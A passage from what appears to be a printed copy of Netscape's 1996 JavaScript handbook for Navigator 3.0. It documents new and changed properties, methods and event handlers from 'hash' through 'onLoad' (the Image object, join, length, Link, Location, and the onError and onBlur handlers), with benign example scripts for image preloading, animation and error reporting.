onFocus and onBlur event handlers for a frame, because you cannot specify the event handlers in
the <FRAME> tag.

frames[0].onfocus = new Function("document.bgColor='antiquewhite'")

23 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

frames[0].onblur = new Function("document.bgColor='lightgrey'")

hash
<<Changed.>>

The hash property is now a property of the Area object.

Syntax
The following syntax has been added for the hash property:

areaName.hash

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

· Area object

Description
You can set the hash property at any time.

height
<<New.>>

Property. A string specifying the height of an image either in pixels or as a percentage of the
window height.

Syntax
imageName.height

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

24 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Description
The height property reflects the HEIGHT attribute of the <IMG> tag. For images created with the
Image() constructor, the value of the height property is the actual, not the displayed, height of the
image.

height is a read-only property.

Examples
The following function displays the values of an image's height, width, hspace, and vspace
properties.

function showImageSize(theImage) {
alert('height=' + theImage.height+
'; width=' + theImage.width +
'; hspace=' + theImage.hspace +
'; vspace=' + theImage.vspace)
}

See also
border, hspace, vspace, width properties

Hidden
<<Changed.>>

The following properties have been added to the Hidden object:

Property Description
type Reflects the TYPE attribute

host
<<Changed.>>

The host property is now a property of the Area object.

Syntax
The following syntax has been added for the host property:

areaName.host

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

25 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

· Area object

Description
You can set the host property at any time.

hostname
<<Changed.>>

The hostname property is now a property of the Area object.

Syntax
The following syntax has been added for the hostname property:

areaName.hostname

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

· Area object

Description
You can set the hostname property at any time.

href
<<Changed.>>

The href property is now a property of the Area object.

Syntax
The following syntax has been added for the href property:

areaName.href

Parameters
areaName is the value of the NAME attribute of an Area object..

Property of

26 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

· Area object

Description
You can set the href property at any time.

hspace
<<New.>>

Property. A string specifying a margin in pixels between the left and right edges of an image and
the surrounding text.

Syntax
imageName.hspace

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Description
The hspace property reflects the HSPACE attribute of the <IMG> tag. For images created with
the Image() constructor, the value of the hspace property is 0.

hspace is a read-only property.

Examples
See the examples for the height property.

See also
border, height, vspace, width properties

Image (images array)


<<New.>>

Object. An image on an HTML form.

27 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

HTML syntax
To define an image, use standard HTML syntax with the addition of the onAbort and onLoad
event handlers:

<IMG
[NAME=" imageName"]
SRC=" Location"
[LOWSRC=" Location"]
[HEIGHT=" Pixels"|"Value"%]
[WIDTH=" Pixels"|"Value"%]
[HSPACE=" Pixels"]
[VSPACE=" Pixels"]
[BORDER=" Pixels"]
[ALIGN="left"|"right"|
"top"|"absmiddle"|"absbottom"|
"texttop"|"middle"|"baseline"|"bottom"]
[ISMAP]
[USEMAP=" Location#MapName"]
[onAbort=" handlerText"]
[onError=" handlerText"]
[onLoad=" handlerText"]>

HTML attributes
NAME="imageName" specifies the name of the Image object. You can access this value using the
name property.

SRC="Location" specifies the URL of the image to be displayed in the document. You can access
this value using the src property.

LOWSRC="Location" specifies the URL of a low-resolution version of the image to be displayed


in the document. Navigator loads this smaller image and then replaces it with the larger image
specified by SRC. You can access this value using the lowsrc property.

HEIGHT="Pixels"|"Value"% specifies the height of the image either in pixels or as a percentage


of the window height. If necessary, Navigator scales the image to fit the space specified by this
attribute. You can access this value using the height property.

WIDTH="Pixels"|"Value"% specifies the width of the image either in pixels or as a percentage of


the window width. If necessary, Navigator scales the image to fit the space specified by this
attribute. You can access this value using the width property.

HSPACE="Pixels" specifies a margin in pixels between the left and right edges of the image and
the surrounding text. This attribute applies only to images that use "left" or "right" as the value of
the ALIGN attribute. You can access this value using the hspace property.

VSPACE="Pixels" specifies a margin in pixels between the top and bottom edges of the image
and the surrounding text. This attribute applies only to images that use "left" or "right" as the
value of the ALIGN attribute. You can access this value using the vspace property.

BORDER="Pixels" specifies the width, in pixels, of an image border. You can suppress the
border by setting its value to 0; however, if you suppress the border of an image that appears
within an anchor, users will not see a colored border indicating that the image is a hyperlink. You
can access this value using the border property.

28 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

ALIGN specifies the alignment of the image in relation to the surrounding text. Images that are
aligned as "left" or "right" float into the next available space on the left or right side of the page,
and cause text to wrap around them. Other ALIGN values place the image in a line of text and do
not cause the text to wrap. If omitted, "bottom" is used.

ISMAP specifies the image as a server-side image map.

USEMAP="Location#MapName" specifies the image as a client-side image map. This attribute


must specify the URL of the file that contains the map definition, followed by a # symbol, and
then the name of the map. For example,
USEMAP="http://www.HomeWorld.com/maplist.html#areamap" .

Syntax
To create an Image object:

imageName = new Image([ width, height])

To use an Image object's properties:

1. imageName.propertyName
2. document.images[ index].propertyName
3. formName.elements[ index].propertyName

To define an event handler for an Image object created with the Image() constructor:

imageName.onabort = handlerFunction
imageName.onerror = handlerFunction
imageName.onload = handlerFunction

Parameters
imageName is either the name of a new object or a property of an existing object. When using an
Image object's properties, imageName is the value of the NAME attribute of an Image object

width is the image width, in pixels.

height is the image height, in pixels.

formName is either the value of the NAME attribute of a Form object or an element in the forms
array.

index, when used with the images array is an integer or string representing an Image object. index,
when used with the elements array, is an integer representing an Image object on a form.

propertyName is one of the properties listed below.

handlerFunction is the keyword null, the name of a function, or a variable or property that
contains null or a valid function reference.

Property of
Document

29 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Implemented in
Navigator 3.0

Description
The position and size of an image in a document are set when the document is displayed in
Navigator and cannot be changed. You can change the image displayed by setting the src and
lowsrc properties. (See the descriptions of src and lowsrc.)

You can use JavaScript to create an animation with an Image object by repeatedly setting the src
property, as shown in Example 4 below. JavaScript animation is slower than GIF animation,
because with GIF animation the entire animation is in one file; with JavaScript animation, each
frame is in a separate file, and each file must be loaded across the network (host contacted and
data transferred).

Image objects do not have onClick, onMouseOut, and onMouseOver event handlers. However, if
you define an Area object for the image or place the <IMG> tag within a Link object, you can use
the Area or Link object's event handlers. See the Area and Link objects.

The Image() constructor

The primary use for an Image object created with the Image() constructor is to load an image
from the network (and decode it) before it is actually needed for display. Then when you need to
display the image within an existing image cell, set the src property of the displayed image to the
same value as that used for the prefetched image, as follows.

myImage = new Image()


myImage.src = "seaotter.gif"
...
document.images[0].src = myImage.src

The resulting image will be obtained from cache, rather than loaded over the network. You can
use this technique to create smooth animations, or you could display one of several images based
on form input.

The images array

You can reference the images in your code by using the images array. This array contains an entry
for each Image object (<IMG> tag) in a document in source order (images created with the
Image() constructor are not included in the images array). For example, if a document contains
three images, these images are reflected as document.images[0] , document.images[1] , and
document.images[2] .

To use the images array:

1. document.images[ index]
2. document.images.length

index is an integer representing an image in a document or a string containing the name of an


Image object.

To obtain the number of images in a document, use the length property:

30 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

document.images.length .

Elements in the images array are read-only. For example, the statement
document.images[0]="logo.gif" has no effect.

Properties
The Image object has the following properties:

Property Description
border Reflects the BORDER attribute
complete Boolean value indicating whether Navigator has completed its attempt to load the
image
height Reflects the HEIGHT attribute
hspace Reflects the HSPACE attribute
lowsrc Reflects the LOWSRC attribute
name Reflects the NAME attribute
prototype Lets you add a properties to an Image object.
src Reflects the SRC attribute
vspace Reflects the VSPACE attribute
width Reflects the WIDTH attribute

Note: The border, hspace, name, and vspace properties are not meaningful for images created
with the Image() constructor.

The images array has the following properties:

Property Description
length Reflects the number of images in a document

Methods
None.

Event handlers

·
·
onAbort
onError
· onLoad

Examples
Example 1. Refer to an image by its name. If you refer to an image by its name, you must
include the form name if the image is on a form. For example, suppose the following image is
defined:

<IMG NAME="aircraft" SRC="f15e.gif" ALIGN="left" VSPACE="10">

31 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

The following code refers to the image if it is on a form:

document.myForm.aircraft.src='f15e.gif'

The following code refers to the image if is not on a form:

document.aircraft.src='f15e.gif'

Example 2. Create an image with the Image() constructor. The following example creates an
Image object, myImage, that is 70 pixels wide and 50 pixels high. If the source URL,
seaotter.gif , does not have dimensions of 70x50 pixels, it is scaled to that size.

myImage = new Image(70, 50)


myImage.src = "seaotter.gif"

If you omit the width and height arguments from the Image() constructor, myImage is created
with dimensions equal to that of the image named in the source URL.

myImage = new Image()


myImage.src = "seaotter.gif"

Example 3. Display an image based on form input. In the following example, the user selects
which image is displayed. The user orders a shirt by filling out a form. The image displayed
depends on the shirt color and size that the user chooses. All possible image choices are
pre-loaded to speed response time. When the user clicks the button to order the shirt, the allShirts
function displays the images of all the shirts.

<SCRIPT>
shirts = new Array()
shirts[0] = "R-S"
shirts[1] = "R-M"
shirts[2] = "R-L"
shirts[3] = "W-S"
shirts[4] = "W-M"
shirts[5] = "W-L"
shirts[6] = "B-S"
shirts[7] = "B-M"
shirts[8] = "B-L"

doneThis = 0
shirtImg = new Array()

// Preload shirt images


for(j = 0; j < 3; j++) {
for(k = 0; k < 3; k++) {
idx = j*3 + k
shirtImg[idx] = new Image()
shirtImg[idx].src = "shirt-" + shirts[idx] + ".gif"
}
}

function changeShirt(form)
{
shirtColor = form.color.options[form.color.selectedIndex].text
shirtSize = form.size.options[form.size.selectedIndex].text

newSrc = "shirt-" + shirtColor.charAt(0) + "-" + shirtSize.charAt(0) + ".gif"


document.shirt.src = newSrc
}

function allShirts()
{
document.shirt.src = shirtImg[doneThis].src

32 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

doneThis++
if(doneThis != 9)setTimeout("allShirts()", 500)
else doneThis = 0

return
}

</SCRIPT>

<FONT SIZE=+2><B>Netscape Polo Shirts!</FONT></B>

<TABLE CELLSPACING=20 BORDER=0>


<TR>
<TD><IMG name="shirt" SRC="shirt-W-L.gif"></TD>

<TD>
<FORM>
<B>Color</B>
<SELECT SIZE=3 NAME="color" onChange="changeShirt(this.form)">
<OPTION> Red
<OPTION SELECTED> White
<OPTION> Blue
</SELECT>

<P>
<B>Size</B>
<SELECT SIZE=3 NAME="size" onChange="changeShirt(this.form)">
<OPTION> Small
<OPTION> Medium
<OPTION SELECTED> Large
</SELECT>

<P><INPUT type="button" name="buy" value="Buy This Shirt!"


onClick="allShirts()">
</FORM>

</TD>
</TR>
</TABLE>

Example 4. JavaScript animation. The following example uses JavaScript to create an


animation with an Image object by repeatedly changing the value the src property. The script
begins by preloading the ten images that make up the animation (!image1.gif , !image2.gif ,
!image3.gif , and so on). When the Image object is placed on the document with the <IMG> tag,
!image1.gif is displayed and the onLoad event handler starts the animation by calling the
animate function. Notice that the animate function does not call itself after changing the src
property of the Image object. This is because when the src property changes, the image's onLoad
event handler is triggered and the animate function is called.

<SCRIPT>
delay = 100
imageNum = 1

// Preload animation images


theImages = new Array()
for(i = 1; i < 11; i++) {
theImages[i] = new Image()
theImages[i].src = "!image" + i + ".gif"
}

function animate() {
document.animation.src = theImages[imageNum].src
imageNum++
if(imageNum > 10) {
imageNum = 1

33 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

}
}

function slower() {
delay+=10
if(delay > 4000) delay = 4000
}

function faster() {
delay-=10
if(delay < 0) delay = 0
}
</SCRIPT>

<BODY BGCOLOR="white">

<IMG NAME="animation" SRC="!image1.gif" ALT="[Animation]"


onLoad="setTimeout('animate()', delay)">

<FORM>
<INPUT TYPE="button" Value="Slower" onClick="slower()">
<INPUT TYPE="button" Value="Faster" onClick="faster()">
</FORM>
</BODY>

See also the examples for the onAbort, onError, and onLoad event handlers.

See also
Area, Link objects; onClick, onMouseOut, onMouseOver event handlers

index
<<Changed.>>

The index property is now a property of the Option object.

Syntax
The following syntax has been added for the index property:

optionName.index

Parameters
optionName is the name of a Select object option created using the Option() constructor.

Property of

· Option object

isNaN
<<Changed.>>

34 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

The isNaN function now works on all platforms.

For information on isNaN, see the isNaN function.

javaEnabled
<<New.>>

Method. Specifies whether Java is enabled.

Syntax
navigator.javaEnabled()

Method of
navigator

Implemented in
Navigator 3.0

Description
javaEnabled returns true if Java is enabled, false otherwise. The user can enable or disable Java
by choosing Network Preferences from the Navigator's Options menu.

Examples
The following code executes function1 if Java is enabled; otherwise it executes function2.

if (navigator.javaEnabled()) {
function1()
}
else function2()

See also
appName, appCodeName, userAgent properties

join
<<New.>>

Method. Joins all elements of an array into a string.

Syntax
arrayName.join( separator)

Parameters

35 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

arrayName is the name of an Array object or a property of an existing object.

separator specifies a string to separate each element of the array. The separator is converted to a
string if necessary. If omitted, the array elements are separated with a comma (,).

Method of
Array

Implemented in
Navigator 3.0

Description
The string conversion of all array elements are joined into one string.

Examples
The following example creates an array, a with three elements, then joins the array three times:
using the default separator, then a comma and a space, and then a plus.

a = new Array("Wind","Rain","Fire")
document.write(a.join() +"<BR>")
document.write(a.join(", ") +"<BR>")
document.write(a.join(" + ") +"<BR>")

This code produces the following output:

Wind,Rain,Fire
Wind, Rain, Fire
Wind + Rain + Fire

See also
reverse, sort methods

length
<<Changed.>>

The length property is now a property of the following:


·
·
Array object
images array
· Plugin object

Syntax
The following syntax has been added for the length property:

1. arrayName.length
2. images.length

36 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

3. navigator.plugins[ index].length
4. navigator.plugins[ pluginName].length

Parameters
arrayName is the name of an Array object.

Description
The length property is an integer that specifies one of the following:

·
·
The number of elements in an array.
The number of images in a document.

For arrays, you can set the length property to truncate an array at any time. You cannot extend an
array; for example, if you set length to 3 when it is currently 2, the array will still contain only 2
elements. For information on other ways to change the length of an array, see the Array object.

Examples
The following code shortens the array statesUS to a length of 50 if the current length is greater
than 50.

if (statesUS.length > 50) {


statesUS.length=50
alert("The U.S. has only 50 states. New length is " + statesUS.length)
}

Property of

·
·
Array object
images array
· Plugin object

Link (links array)


<<Changed.>>

The links array now contains Area objects that are created with <AREA HREF="...">.

The following event handlers have been added to the Link object:
· onMouseOut

Additional description
The following discussion will be added to the documentation for the Link object; however, this is
not new functionality.

You can use a Link object to execute a JavaScript function rather than link to a hypertext
reference by specifying the javascript: URL protocol for the link's HREF attribute. You might
want to do this if the link surrounds an Image object and you want to execute JavaScript code
when the image is clicked. Or you might want to use a link instead of a button to execute

37 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

JavaScript code.

For example, when a user clicks the following links, the slower and faster functions execute:

<A HREF="javascript:slower()">Slower</A>
<A HREF="javascript:faster()">Faster</A>

You can use a Link object to do nothing rather than link to a hypertext reference by specifying the
javascript:void(0) URL protocol for the link's HREF attribute. You might want to do this if
the link surrounds an Image object and you want to use the link's event handlers with the image.
When a user clicks the following link or image, nothing happens:

<A HREF="javascript:void(0)">Click here to do nothing</A>

<A HREF="javascript:void(0)">
<IMG SRC="images\globe.gif" ALIGN="top" HEIGHT="50" WIDTH="50">
</A>

See also
void

Location
<<Changed.>>

Syntax
The following syntax has been added to the Location object:

[windowReference.]location. methodName(parameters)

Methods
The following methods have been added to the Location object:
·
·
reload
replace

Additional description
The following discussion will be added to the documentation for the Location object; however,
this is not new functionality.

In event handlers, you must specify window.location instead of simply using location . Due to
the scoping of static objects in JavaScript, a call to location without specifying an object name is
equivalent to document.location , which is a synonym for document.URL .

Do not use location as a property of the Document object; use the document.URL property
instead. The document.location property, which is a synonym for document.URL, will be removed
in a future release.

lowsrc

38 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<<New.>>

Property. A string specifying the URL of a low-resolution version of an image to be displayed in a


document.

Syntax
imageName.lowsrc

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Description
The lowsrc property initially reflects the LOWSRC attribute of the <IMG> tag. Navigator loads
the smaller image specified by lowsrc and then replaces it with the larger image specified by the
src property. You can change the lowsrc property at any time.

Examples
See the examples for the src property.

See also
complete, src properties

Math
<<Changed.>>

The following methods have been added to the Math object:


· atan2

mimeTypes
<<New.>>

An array of all MIME types supported by the client. This array is currently documented in
Determining installed plug-ins with JavaScript.

39 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Property of
navigator

Implemented in
Navigator 3.0

name
<<Changed.>>

The name property is now a read-only property of the following objects:


·
·
Applet
FileUpload
·
·
Image
Plugin

Syntax
The following syntax has been added for the name property:

1. fileUploadName.name
2. imageName.name
3. navigator.plugins[ index].name
4. navigator.plugins[ pluginName].name

Parameters
fileUploadName is either the value of the NAME attribute of a FileUpload object or an element in
the elements array.

imageName is either the value of the NAME attribute of a Image object or an element in the
images array.

index is an integer representing a plug-in a document or a string containing the name of a Plugin
object

Description
For the FileUpload object, name is a read-only property.

For images created with the Image() constructor, the value of the name property is null.

Property of

·
·
FileUpload object
Image
· Plugin

40 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

See also
Applet, Plugin objects

navigator
<<Changed.>>

The following objects are now properties of the navigator object


·
·
mimeType
plugins

The following methods have been added to the navigator object


· javaEnabled

onAbort
<<New.>>

Event handler. An abort event occurs when the user aborts the loading of an image (for example
by clicking a link or clicking the Stop button). The onAbort event handler executes JavaScript
code when an abort event occurs.

See the relevant objects for the onAbort syntax.

Implemented in
Navigator 3.0

Event handler of

· Image

Examples
In the following example, an onAbort handler in an Image object displays a message when the
user aborts the image load:

<IMG NAME="aircraft" SRC="f15e.gif"


onAbort="alert('You didn\'t get to see the image!')">

See also
onError, onLoad event handlers

onBlur
<<Changed.>>

41 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

The onBlur event handler is now an event handler of windows, frames, and framesets.

Event handler of

·
·
Window
Frame

Description
For windows, frames, and framesets, the onBlur event handler specifies JavaScript code to
execute when a window loses focus.

A frame's onBlur event handler overrides an onBlur event handler in the <BODY> tag of the
document loaded into frame.

See the relevant objects for the onBlur syntax.

Note: On Windows platforms, placing an onBlur event handler in a <FRAMESET> tag has no
effect.

Examples
Example 1. Change the background color of a window. In the following example, a window's
onBlur and onFocus event handlers change the window's background color depending on whether
the window has focus.

<BODY BGCOLOR="lightgrey"
onBlur="document.bgColor='lightgrey'"
onFocus="document.bgColor='antiquewhite'">

Example 2. Change the background color of a frame. The following example creates four
frames. The source for each frame, onblur2.html has the <BODY> tag with the onBlur and
onFocus event handlers shown in Example 1. When the document loads, all frames are
"lightgrey". When the user clicks a frame, the onFocus event handler changes the frame's
background color to "antiquewhite". The frame that loses focus is changed to "lightgrey". Note
that the onBlur and onFocus event handlers are within the <BODY> tag, not the <FRAME> tag.

<FRAMESET ROWS="50%,50%" COLS="40%,60%">


<FRAME SRC=onblur2.html NAME="frame1">
<FRAME SRC=onblur2.html NAME="frame2">
<FRAME SRC=onblur2.html NAME="frame3">
<FRAME SRC=onblur2.html NAME="frame4">
</FRAMESET>

The following code has the same effect as the previous code, but is implemented differently. The
onFocus and onBlur event handlers are associated with the frame, not the document. The onBlur
and onFocus event handlers for the frame are specified by setting the onblur and onfocus
properties. For information on using new to specify a string of JavaScript code to be compiled as
a function, see the Function object.

<SCRIPT>
function setUpHandlers() {
for (var i = 0; i < frames.length; i++) {
frames[i].onfocus = new Function("document.bgColor='antiquewhite'")
frames[i].onblur = new Function("document.bgColor='lightgrey'")

42 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

}
}
</SCRIPT>

<FRAMESET ROWS="50%,50%" COLS="40%,60%" onLoad=setUpHandlers()>


<FRAME SRC=onblur2.html NAME="frame1">
<FRAME SRC=onblur2.html NAME="frame2">
<FRAME SRC=onblur2.html NAME="frame3">
<FRAME SRC=onblur2.html NAME="frame4">
</FRAMESET>

Example 3. Close a window. In the following example, a window's onBlur event handler closes
the window when the window loses focus.

<BODY onBlur="window.close()">
This is some text
</BODY>

onClick
<<Changed.>>

For checkboxes, links, radio buttons, reset buttons, and submit buttons, the onClick event handler
can now return false to cancel the action normally associated with a click event. Returning false in
an onClick event handler for a button has no effect.

Note: On Windows platforms, returning false in an onClick event handler for a reset button has
no effect.

For example, click the following hyperlink and then choose Cancel. When you choose Cancel, the
new page is not loaded.

Netscape

The code for this example looks as follows:

<A HREF = "http://www.netscape.com/"


onClick="return confirm('Load Netscape home page?')">Netscape</A>

Examples
The following example creates a checkbox with an onClick event handler. The event handler
displays a confirm that warns the user that checking the checkbox purges all files. If the user
chooses Cancel, the onClick event handler returns false and the checkbox is not checked.

<INPUT TYPE="checkbox" NAME="check1" VALUE="check1"


onClick="return confirm('This purges all your files. Are you sure?')"> Remove files

onError
<<New.>>

43 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Event handler. An error event occurs when the loading of a document or image causes an error.
The onError event handler executes JavaScript code when an error event occurs.

The onError event handler can be any of the following:

· null to suppress all error dialogs. Setting window.onerror to null means your users won't
see JavaScript errors caused by your own code.
· The name of a function that handles errors (arguments are message text, URL, and line
number of the offending line). To suppress the standard JavaScript error dialog, the function
must return true. See Example 3 below.
· A variable or property that contains null or a valid function reference.

If you write an error-handling function, you have three options for reporting errors:

· Trace errors but let the standard JavaScript dialog report them (use an error handling
function that does not return true)
· Report errors yourself and disable the standard error dialog (use an error handling function
that returns true)
· Turn off all error reporting (set the onError event handler to null)

An error event occurs only when a JavaScript syntax or runtime error occurs, not when a
Navigator error occurs. For example, if you try set window.location.href='notThere.html'
and notThere.html does not exist, the resulting error message is a Navigator error message;
therefore, an onError event handler would not intercept that message.

See the relevant objects for the onError syntax.

Implemented in
Navigator 3.0

Event handler of

·
·
Image
Window

Examples

Example 1. Null event handler. In the following <IMG> tag, the code onError="null"
suppresses error messages if errors occur when the image loads.

<IMG NAME="imageBad1" SRC="corrupt.gif" ALIGN="left" BORDER="2"


onError="null">

Example 2. Null event handler for a window. The onError event handler for windows cannot be
expressed in HTML. Therefore, you must spell it all lowercase and set it in a <SCRIPT> tag. The
following code assigns null to the onError handler for the entire window, not just the Image
object. This suppresses all JavaScript error messages.

<SCRIPT>
window.onerror=null
</SCRIPT>
<IMG NAME="imageBad1" SRC="corrupt.gif" ALIGN="left" BORDER="2">

44 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

In the following example, window.onerror=null suppresses all error reporting. Without


onerror=null , the code would cause a stack overflow error.

<SCRIPT>
window.onerror = null;
function testErrorFunction() {
testErrorFunction();
}
</SCRIPT>
<BODY onload="testErrorFunction()">
test message
</BODY>

Example 3. Error handling function. The following example defines a function, myOnError,
that intercepts JavaScript errors. The function uses three arrays to store the message, URL, and
line number for each error. When the user clicks the Display Error Report button, the
displayErrors function opens a window and creates an error report in that window. Note that the
function returns true to suppress the standard JavaScript error dialog.

<SCRIPT>
window.onerror = myOnError

msgArray = new Array()


urlArray = new Array()
lnoArray = new Array()

function myOnError(msg, url, lno) {


msgArray[msgArray.length] = msg
urlArray[urlArray.length] = url
lnoArray[lnoArray.length] = lno
return true
}

function displayErrors() {
win2=window.open('','window2','scrollbars=yes')
win2.document.writeln('<B>Error Report</B><P>')

for (var i=0; i < msgArray.length; i++) {


win2.document.writeln('<B>Error in file:</B> ' + urlArray[i] + '<BR>')
win2.document.writeln('<B>Line number:</B> ' + lnoArray[i] + '<BR>')
win2.document.writeln('<B>Message:</B> ' + msgArray[i] + '<P>')
}
win2.document.close()
}
</SCRIPT>

<BODY onload="noSuchFunction()">
<FORM>
<BR><INPUT TYPE="button" VALUE="This button has a syntax error"
onClick="alert('unterminated string)">

<P><INPUT TYPE="button" VALUE="Display Error Report"


onClick="displayErrors()">
</FORM>

This example produces the following output:

Error Report

Error in file: file:///c%7C/temp/onerror.html


Line number: 34
Message: unterminated string literal

Error in file: file:///c%7C/temp/onerror.html

45 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Line number: 34
Message: missing ) after argument list

Error in file: file:///c%7C/temp/onerror.html


Line number: 30
Message: noSuchFunction is not defined

Example 4. Event handler calls a function. In the following <IMG> tag, the onError event
handler calls the function badImage if errors occur when the image loads.

<SCRIPT>
function badImage(theImage) {
alert('Error: ' + theImage.name + ' did not load properly.')
}
</SCRIPT>
<FORM>
<IMG NAME="imageBad2" SRC="orca.gif" ALIGN="left" BORDER="2"
onError="badImage(this)">
</FORM>

See also
onLoad event handler

onFocus
<<Changed.>>

The onFocus event handler is now an event handler of windows, frames, and framesets.

Event handler of

·
·
Window
Frame

Description
For windows, frames, and framesets, the onFocus event handler specifies JavaScript code to
execute when a window gets focus.

A frame's onFocus event handler overrides an onFocus event handler in the <BODY> tag of the
document loaded into frame.

Note that placing an alert in an onFocus event handler results in recurrent alerts: when you press
OK to dismiss the alert, the underlying window gains focus again and produces another focus
event.

See the relevant objects for the onFocus syntax.

Note: On Windows platforms, placing an onFocus event handler in a <FRAMESET> tag has no
effect.

Examples

46 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

See the examples for the onBlur event handler.

onLoad
<<Changed.>>

The onLoad event handler is now an event handler of the following:


· Image

Event handler of

· Image

Description
For images, the onLoad event handler indicates the script to execute when an image is displayed.
Do not confuse displaying an image with loading an image. You can load several images, then
display them one by one in the same Image object by setting the object's src property. If you
change the image displayed in this way, the onLoad event handler executes every time an image
is displayed, not just when the image is loaded into memory.

If you specify an onLoad event handler for an Image object that displays a looping GIF animation
(multi-image GIF), each loop of the animation triggers the onLoad event, and the event handler
executes once for each loop.

You can use the onLoad event handler to create a JavaScript animation by repeatedly setting the
src property of an Image object. See the Image object for information.

Examples
Example 1. Display alert when image loads. The following example creates two Image objects,
one with the Image() constructor and one with the <IMG> tag. Each Image object has an onLoad
event handler that calls the displayAlert function, which displays an alert. For the image created
with the <IMG> tag, the alert displays the image name. For the image created with the Image()
constructor, the alert displays a message without the image name. This is because the onLoad
handler for an object created with the Image() constructor must be the name of a function, and it
cannot specify parameters for the displayAlert function.

<SCRIPT>
imageA = new Image(50,50)
imageA.onload=displayAlert
imageA.src="cyanball.gif"

function displayAlert(theImage) {
if (theImage==null) {
alert('An image loaded')
}
else alert(theImage.name + ' has been loaded.')
}
</SCRIPT>

<IMG NAME="imageB" SRC="greenball.gif" ALIGN="top"


onLoad=displayAlert(this)><BR>

47 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Example 2. Looping GIF animation. The following example displays an image, birdie.gif ,
that is a looping GIF animation. The onLoad event handler for the image increments the variable
cycles, which keeps track of the number of times the animation has looped. To see the value of
cycles, the user clicks the button labeled Count Loops.

<SCRIPT>
var cycles=0
</SCRIPT>
<IMG ALIGN="top" SRC="birdie.gif" BORDER=0
onLoad="++cycles">
<INPUT TYPE="button" VALUE="Count Loops"
onClick="alert('The animation has looped ' + cycles + ' times.')">

Example 3. Change GIF animation displayed. The following example uses an onLoad event
handler to rotate the display of six GIF animations. Each animation is displayed in sequence in
one Image object. When the document loads, !anim0.html is displayed. When that animation
completes, the onLoad event handler causes the next file, !anim1.html , to load in place of the
first file. After the last animation, !anim5.html , completes, the first file is again displayed. Notice
that the changeAnimation function does not call itself after changing the src property of the Image
object. This is because when the src property changes, the image's onLoad event handler is
triggered and the changeAnimation function is called.

<SCRIPT>
var whichImage=0
var maxImages=5

function changeAnimation(theImage) {
++whichImage
if (whichImage <= maxImages) {
var imageName="!anim" + whichImage + ".gif"
theImage.src=imageName
} else {
whichImage=-1
return
}
}
</SCRIPT>

